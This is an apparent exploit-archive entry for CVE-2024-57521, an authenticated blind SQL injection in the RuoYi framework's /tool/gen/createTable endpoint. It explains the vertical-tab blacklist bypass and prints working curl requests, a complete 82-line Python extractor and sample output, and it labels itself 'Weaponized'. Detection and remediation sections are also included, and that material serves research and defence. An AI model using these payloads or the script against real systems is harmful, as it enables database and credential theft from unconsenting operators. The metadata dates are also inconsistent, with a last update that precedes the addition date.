PoC Archive PoC Archive
CVE-2024-57521 category: web CVSS 10 (CRITICAL)
Patched

RuoYi createTable Blind SQL Injection - CVE-2024-57521

Published: 2026-11-27 • Researcher: mrlihd (repo author and vulnerability reporter)

Target software RuoYi Framework (ruoyi-admin code generation module)
Affected versions 4.7.9 and earlier; fixed in 4.8.0. The injection also bypasses the CVE-2024-42900 filter introduced in the 4.7.x line.
Status Weaponized
Severity Critical · CVSS 10
CVSS 10.0/10
Severity
Critical
CVE
CVE-2024-57521 (bypass of CVE-2024-42900)
Category
web
Affected product
RuoYi Framework (ruoyi-admin code generation module)
Affected versions
4.7.9 and earlier; fixed in 4.8.0. The injection also bypasses the CVE-2024-42900 filter introduced in the 4.7.x line.
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2025-12-23
Author / Researchermrlihd (repo author and vulnerability reporter)
CVE / AdvisoryCVE-2024-57521 (bypass of CVE-2024-42900)
Categoryweb
SeverityCritical
CVSS Score10.0 (CVSSv3.1, per NVD record)
StatusWeaponized
TagsSQL injection, RuoYi, MySQL, boolean-based blind, blacklist bypass, CWE-89, Java, authenticated administrator, data exfiltration
RelatedN/A

Affected Target

FieldValue
Software / SystemRuoYi Framework (ruoyi-admin code generation module)
Versions Affected4.7.9 and earlier; fixed in 4.8.0. The injection also bypasses the CVE-2024-42900 filter introduced in the 4.7.x line.
Language / PlatformJava (Spring MVC), MySQL/MariaDB backend
Authentication RequiredYes (an authenticated administrator session; the endpoint is behind the admin console)
Network Access RequiredYes (HTTP POST to the code generation endpoint)

Summary

RuoYi 4.7.9 filters user input for the createTable code generation feature with a keyword blacklist instead of parameterised SQL. The blacklist entry for select is written with a trailing space, so replacing the space with a vertical tab character leaves a valid SQL statement that the filter never sees. Because the statement is executed as a CREATE TABLE AS SELECT, a boolean condition in the SELECT determines whether the table is created, which the bundled Python script turns into a reliable blind extraction primitive. The script recovers the database version one character at a time by observing whether the endpoint answers with a success message.

Vulnerability Details

Root Cause

The code generation module passes the raw sql request parameter into a statement that is executed as DDL. Protection is delegated entirely to SqlUtil.filterKeyword, which splits a pipe-delimited string of blocked keywords and rejects a request when any of them occurs as a substring. Two weaknesses combine: the list is a blacklist that cannot anticipate every SQL separator, and the select entry includes a trailing space, so only select followed by a space is matched. The vertical tab character (0x0B, URL-encoded as %0b) is treated as whitespace by the MySQL parser but is not a space for the purpose of the substring check, so select%0b passes the filter and the database executes the query normally. The ternary division by zero adds a second signal layer: a true condition lets the CREATE TABLE succeed, a false condition raises a division error that the application reports as a failure.

Attack Vector

An authenticated administrator sends a POST request to /tool/gen/createTable with a sql form field containing CREATE table as SELECT 0b111 FROM sys_job WHERE 1=0 AND 0bIF(condition, 1, 1/0). Sub-conditions are expressed with ascii(substring((select%0b@@version),position,1))=ordinal so the response distinguishes true from false for each candidate character.

Impact

Full read access to the application database through the code generation connection, including the sys_user table with administrator password hashes, sys_config, and any business data. Because the target account is an administrator, the practical gain is exfiltration of credentials that are frequently reused on the operating system or on other systems, and the injected DDL also lets the attacker create tables of their choosing. The NVD score of 10.0 reflects the confidentiality and integrity impact combined with the low attack complexity once a session exists.

Environment / Lab Setup

Output
OS:          Linux host for attacker, any OS for the target
Target:      RuoYi 4.7.9 deployed with MySQL (or the official demo/VM), admin console reachable
Attacker:    Python 3 with requests
Tools:       Burp Suite (optional but assumed by the script defaults), curl, the bundled ruoyi-sqli-poc.py

Setup Steps

Shell script
1
python3 -m pip install requests

Proof of Concept

Step-by-Step Reproduction

  1. Obtain an admin session - Log in to the RuoYi admin console and copy the JSESSIONID cookie value.

  2. Confirm the endpoint - Send a benign request to the code generation endpoint to see the success message the script keys on.

    Shell script
    1
    2
    
    curl -i -b "JSESSIONID=<value>" -d "sql=CREATE%20table%20tmp_probe%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0" \
      http://TARGET/tool/gen/createTable
  3. Run the extractor - The script first finds the length of @@version, then recovers each character in parallel.

    Shell script
    1
    
    python3 ruoyi-sqli-poc.py -u http://TARGET -c <JSESSIONID>
  4. Verify a false condition fails - Replacing 1 with 1/0 in the same statement makes the endpoint report an error, which is the difference the extractor relies on.

    Shell script
    1
    2
    
    curl -i -b "JSESSIONID=<value>" -d "sql=CREATE%20table%20tmp_false%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(1%3d0%2c1%2c1%2f0)" \
      http://TARGET/tool/gen/createTable

Exploit Code

See ruoyi-sqli-poc.py in this folder.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
def get_payload(location, value:int):
    tablename = f"{random_string}_{counter}"
    payload = f"CREATE%20table%20{tablename}%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c{location}%2c1))%3d{value}%2c%201%2c%201%2f0)%3b"
    return payload

def send_request(payload):
    cookies = { 'JSESSIONID': cookie }
    headers = { 'Content-Type': 'application/x-www-form-urlencoded' }
    resp = requests.post(url=url+'/tool/gen/createTable', data=f"sql={payload}",
                         cookies=cookies, headers=headers, verify=False, proxies=PROXY)
    return "操作成功" in resp.text

Each request uses a fresh random table name because the CREATE TABLE statement fails permanently once a table with the same name exists, and the script only inspects the success message returned by the endpoint.

Expected Output

Output
Data has 6 characters
Found character 8 at location 1
Found character . at location 2
Found character 0 at location 3
Found character . at location 4
Found character 3 at location 5
Found character 6 at location 6
Data:  8.0.36

The exact version string depends on the target server; the structure of the output is a length line, one line per recovered character, and the assembled value.

Detection & Indicators of Compromise

Output
POST /tool/gen/createTable HTTP/1.1

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"RuoYi createTable SQL injection CVE-2024-57521"; flow:to_server,established; content:"/tool/gen/createTable"; http_uri; content:"sql="; http_client_body; content:"%0b"; http_client_body; content:"IF("; http_client_body; reference:cve,2024-57521; sid:9005752;)

Remediation

ActionDetail
PatchUpgrade RuoYi to 4.8.0 or later, which reworks the filtering for the code generation module.
WorkaroundRemove the vertical tab and other control whitespace characters before the keyword check, match select without the trailing space, and reject statements that are not single CREATE statements.
Config HardeningStop concatenating request data into SQL; parse and validate generated table metadata against an allowlist, run the code generation connection with the least privilege needed, and alert on new tables in the application schema.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/mrlihd/CVE-2024-57521-SQL-Injection-PoC (stars 0, Python extraction script plus a detailed README).

Review verdict: ingested. The script is a real exploit rather than a scanner: it builds the bypass payload with the vertical tab separator, posts it to the vulnerable endpoint with the supplied session cookie, discriminates success by the endpoint response, and reconstructs the database version through a thread pool. The README supplies the root cause, the exact true and false requests, and screenshots of successful extraction. Nothing in the repository is a detector, a placeholder, or malware. Because the tool performs a complete extraction workflow, the entry is labelled Weaponized.

License: the upstream repository has no LICENSE file and no explicit license statement; copyright remains with the author. Attribution and the source URL are retained, and the copied script carries an archive header.

Limitations: an administrator session is required, so this is post-authentication. The proxy dictionary is hardcoded with PROXY_ENABLED set to True and points at a local Burp instance, so it must be edited before running outside a proxied lab. The thread pool uses twenty workers and a global counter for table names, so concurrent requests can in principle race on the counter; a collision only wastes a request because the random prefix differs per run. The extractor only recovers @@version as written, and extending it to other queries means changing the get_payload function. No exploit code was executed while preparing this entry.

ruoyi-sqli-poc.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# Archived for authorized security research only.
# Source: https://github.com/mrlihd/CVE-2024-57521-SQL-Injection-PoC (see README for attribution/license)
# CVE-2024-57521 - authenticated boolean-based blind SQL injection in RuoYi <= 4.7.9
# Target: /tool/gen/createTable (admin session required). Exfiltrates @@version by design.
# Archive copy keeps the upstream code verbatim below this header.

import requests
import argparse
import random
from concurrent.futures import ThreadPoolExecutor
from string import printable, ascii_lowercase, digits
from urllib3 import disable_warnings
disable_warnings()


PROXY_ENABLED = True
PROXY = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
} if PROXY_ENABLED else {}
CHARSET = printable

def send_request(payload):
    global counter
    cookies = {
        'JSESSIONID': cookie,
    }
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    data = f"sql={payload}"
    resp = requests.post(url=url+'/tool/gen/createTable', data=data, cookies=cookies, headers=headers, verify=False, proxies=PROXY)
    counter += 1
    if "操作成功" in resp.text:
        return True
    return False

def get_length_payload(value):
    tablename = f"{random_string}_{counter}"
    payload = f"CREATE%20table%20{tablename}%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(length(%40%40version)%3d{value}%2c%201%2c%201%2f0)%3b"
    return payload

def get_length():
    for length in range(100):
        payload = get_length_payload(length)
        if send_request(payload=payload):
            print(f'Data has {length} characters')
            return length
    return 0

def get_payload(location, value:int):
    tablename = f"{random_string}_{counter}"
    payload = f"CREATE%20table%20{tablename}%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c{location}%2c1))%3d{value}%2c%201%2c%201%2f0)%3b"
    return payload

def get_char(location):
    for char in CHARSET:
        payload = get_payload(location=location, value=ord(char))
        if send_request(payload=payload):
            print(f'Found character {char} at location {location}')
            return char
    return 'None'

def get_data():
    length = get_length()
    with ThreadPoolExecutor(max_workers=20) as tpe:
        res_iter = tpe.map(get_char, range(1, length+1))
    return ''.join(res_iter)

def init():
    parser = argparse.ArgumentParser(description='SQLi PoC')
    parser.add_argument('-u','--url',help='Target url', required=True, type=str)
    parser.add_argument('-c','--cookie',help='JSESSIONID cookie value', required=True, type=str)
    return parser.parse_args()

if __name__ == '__main__':
    args = init()
    url = args.url
    cookie = args.cookie
    counter = 0
    random_string = ''.join(random.choices(ascii_lowercase + digits, k=6))
    print('Data: ', get_data())